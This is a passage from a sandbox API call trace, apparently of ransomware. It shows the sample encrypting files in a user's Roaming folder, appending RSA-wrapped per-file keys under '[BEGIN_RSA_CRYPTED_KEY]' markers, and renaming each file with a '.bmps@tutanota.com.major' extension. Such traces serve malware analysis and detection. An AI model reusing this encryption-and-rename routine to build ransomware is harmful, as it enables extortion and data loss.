lpOverlapped=0x0) returned 1 [0155.417] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.417] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.417] CloseHandle (hObject=0x6a8) returned 1 [0155.417] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.417] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iN9p 5c.pdf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\in9p 5c.pdf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\iN9p 5c.pdf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\in9p 5c.pdf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.418] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58f010 | out: hHeap=0x570000) returned 1 [0155.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.418] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1180 [0155.418] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.418] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\hIWXI_.swf", dwFileAttributes=0x80) returned 1 [0155.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.419] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.419] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\hIWXI_.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hiwxi_.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.419] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=3348) returned 1 [0155.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd14) returned 0x2f60050 [0155.419] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xd14) returned 0x6538b0 [0155.419] ReadFile (in: hFile=0x6a8, lpBuffer=0x2f60050, nNumberOfBytesToRead=0xd14, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesRead=0x2e3f9b4*=0xd14, lpOverlapped=0x0) returned 1 [0155.420] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-3348, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.420] WriteFile (in: hFile=0x6a8, lpBuffer=0x6538b0*, nNumberOfBytesToWrite=0xd14, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0xd14, lpOverlapped=0x0) returned 1 [0155.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0155.420] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.420] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xd14 [0155.420] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.420] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.420] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.420] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.420] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="qiiHCBfyBQVWE8bzAUQbaEHWUzeQPPkV3hz9/uS6MusbKn1zST78WRCRnuYHQpA+\n/4DfJM+V9jtFrRHGLzbk2ZPtMcHH+ZgSYNaqnuwd9qgfJsda62RXfxdRmLboIDiA\nxzqaPfsGo1Wzi8Ohy13qo1FgIJcE+o+FiHjFLlKoKm8us5M4nfVooLjY5fUCbrL/\n4TXQp1zaaiOyuRKwYGQWJsJTfW+gEizsNg5HRjgKRzmIesUjlNL0YusKtzPvlGyB\n6yB8wuJFz4MQa9lkA8qNJ6WSPCUMBk7soI1voJ3yUmB3+9NOhF6hw05qZL+7MjbG\nG0HzbVbqkPl42nWejasrEg==\n", pcchString=0x2e3f9a8) returned 1 [0155.420] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.421] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.421] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.421] CloseHandle (hObject=0x6a8) returned 1 [0155.421] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.421] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\hIWXI_.swf" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hiwxi_.swf"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\hIWXI_.swf.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\hiwxi_.swf.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1180 | out: hHeap=0x570000) returned 1 [0155.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ee08 | out: hHeap=0x570000) returned 1 [0155.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0155.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c10b8 [0155.422] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.422] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\gS2boS XLxbRhLdyI.mp4", dwFileAttributes=0x80) returned 1 [0155.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cda60 [0155.422] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0155.422] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cda60 | out: hHeap=0x570000) returned 1 [0155.423] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\gS2boS XLxbRhLdyI.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gs2bos xlxbrhldyi.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.423] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=52689) returned 1 [0155.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcdd1) returned 0x6538b0 [0155.423] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xcdd1) returned 0x2e61f30 [0155.423] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xcdd1, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xcdd1, lpOverlapped=0x0) returned 1 [0155.425] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-52689, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.425] WriteFile (in: hFile=0x6a8, lpBuffer=0x2e61f30*, nNumberOfBytesToWrite=0xcdd1, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e61f30*, lpNumberOfBytesWritten=0x2e3f9b4*=0xcdd1, lpOverlapped=0x0) returned 1 [0155.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.425] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e61f30 | out: hHeap=0x570000) returned 1 [0155.425] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xcdd1 [0155.425] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.425] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.425] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.426] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.426] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.426] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="yHAL+LtMkF1wTH58jDPMR5Ag1rgAI5P+n/yszPxgZOW6eaE/uLqVEvw+5eCkLkbz\n/Zz36MeGBWAtrcJKu0+uuih/ngxkZ2SgECzXragRXYAZo3HUotrvN3OJtWjzLER/\nBfGBuZj0rJ+37LfApl4f30DDPuRIGfE4HHKP9avUkdTG2oeDIJ25bdFIK72+DU+j\nrd05cXbkZ/y6Jb6UrAtWdIrkmuSbHMVxjBL1gFmnksezd+iJlGI3vpoVApW8ro/i\nTdS2lKVDkAwENlL8SMhDZYy4yi9hIutrD8CTHf49pYx1CcdsOva8tM/1UnL930Ss\nWovwopAGj33WUHASxl5fjw==\n", pcchString=0x2e3f9a8) returned 1 [0155.426] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.426] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.426] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.426] CloseHandle (hObject=0x6a8) returned 1 [0155.426] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.426] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\gS2boS XLxbRhLdyI.mp4" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gs2bos xlxbrhldyi.mp4"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\gS2boS XLxbRhLdyI.mp4.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\gs2bos xlxbrhldyi.mp4.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0155.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c10b8 | out: hHeap=0x570000) returned 1 [0155.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0155.428] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cde20 | out: hHeap=0x570000) returned 1 [0155.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6640 [0155.428] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1158 [0155.428] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.428] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ExGg5Jd4qa.xls", dwFileAttributes=0x80) returned 1 [0155.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6980 [0155.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e0b8 [0155.429] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6980 | out: hHeap=0x570000) returned 1 [0155.429] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ExGg5Jd4qa.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\exgg5jd4qa.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.429] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=19210) returned 1 [0155.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b0a) returned 0x6538b0 [0155.429] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4b0a) returned 0x6583c8 [0155.429] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x4b0a, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x4b0a, lpOverlapped=0x0) returned 1 [0155.430] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-19210, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.430] WriteFile (in: hFile=0x6a8, lpBuffer=0x6583c8*, nNumberOfBytesToWrite=0x4b0a, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6583c8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x4b0a, lpOverlapped=0x0) returned 1 [0155.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.430] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6583c8 | out: hHeap=0x570000) returned 1 [0155.430] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x4b0a [0155.430] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.430] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.431] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.431] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="dpw6g8LvjIyYyeFteAE3p5jNJ6O02m6KpB+IT8IbOrsVJYIcOEGcfFSXxkvTu0Uh\nfKyVvzbX5Nky51GWburRibbAZiBosN/IdXw7uA+r7+dBjNsF9IiFQoTssqyUIBB4\nFOXqRlz9YpNzEiaeXyPMAkET5jW6q31TjB1GrgR86IN+DOch7zQPp7AlK6HwY5pI\nSLqfRRq8FVJqnPdc0rVmkbKzuqxg1p4Q8BFUg/U++jmX7IiJdanEmEEC/N1XZgQQ\nlXp+IK03c0n3+5ncy62JvAwgTvCMXzu6pElRXhsv29wTPncpNV5vFnxQwEW06Xj/\nXAmrDLB7RakuYQjf8BP9jQ==\n", pcchString=0x2e3f9a8) returned 1 [0155.431] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.431] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.431] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.431] CloseHandle (hObject=0x6a8) returned 1 [0155.431] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.431] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ExGg5Jd4qa.xls" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\exgg5jd4qa.xls"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\ExGg5Jd4qa.xls.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\exgg5jd4qa.xls.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0155.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0155.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6640 | out: hHeap=0x570000) returned 1 [0155.432] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ecd0 | out: hHeap=0x570000) returned 1 [0155.432] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b68b0 [0155.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c1248 [0155.433] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0155.433] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\EKGIQmO.bmp", dwFileAttributes=0x80) returned 1 [0155.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b66a8 [0155.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57e1d0 [0155.433] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b66a8 | out: hHeap=0x570000) returned 1 [0155.433] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Roaming\\EKGIQmO.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ekgiqmo.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6a8 [0155.433] GetFileSizeEx (in: hFile=0x6a8, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=24374) returned 1 [0155.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5f36) returned 0x6538b0 [0155.433] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x5f36) returned 0x6597f0 [0155.433] ReadFile (in: hFile=0x6a8, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x5f36, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x5f36, lpOverlapped=0x0) returned 1 [0155.434] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=-24374, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0155.434] WriteFile (in: hFile=0x6a8, lpBuffer=0x6597f0*, nNumberOfBytesToWrite=0x5f36, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6597f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x5f36, lpOverlapped=0x0) returned 1 [0155.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0155.434] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6597f0 | out: hHeap=0x570000) returned 1 [0155.434] SetFilePointer (in: hFile=0x6a8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x5f36 [0155.434] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.434] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.434] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0155.435] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0155.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0155.435] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0155.435] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="UtoCxZc86E9ei1m4GxdnyYZpXQGLBdvwyUCK189JLUZbGhQ9h/n+6/7GMYyhM6tO\ndcMLfVvq8taSk/Xdl/bcr2PnoZxp/91bCypSbcGXjOPxQa8nImaP1WnoenSgH6Ec\njchRxveiupdp8STAE+8H+q78GH7dYjTPh6hyr4QQIKub0bWkYHP3RTGz+2KFvQxT\n3Uwkt+FjLt96vShEDEO0cOSJK1YjbhmbIBS1XlMSL9ndFJkXZtPz18R4GMjRzPrj\nX1AOTIbTAn/MaPiiXaWIkOGT7hgpgLWAh5zFGU7ofqllZJHEtdZBirVmwayZrIix\no2fG8OFSwYzsACpbcu6HPw==\n", pcchString=0x2e3f9a8) returned 1 [0155.435] WriteFile (in: hFile=0x6a8, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0155.435] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0155.435] WriteFile (in: hFile=0x6a8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0155.435] CloseHandle (hObject=0x6a8) returned 1 [0155.435] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0155.435] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\AppData\\Roaming\\EKGIQmO.bmp" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ekgiqmo.bmp"), lpNewFileName="\\Users\\FD1HVy\\AppData\\Roaming\\EKGIQmO.bmp.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\ekgiqmo.bmp.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0155.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0155.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1248 | out: hHeap=0x570000) returned 1 [0155.446] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b68b0 | out: hHeap=0x570000) returned 1 [0155.447] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58ec00 | out: hHeap=0x570000) returned 1 [0155.447] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) 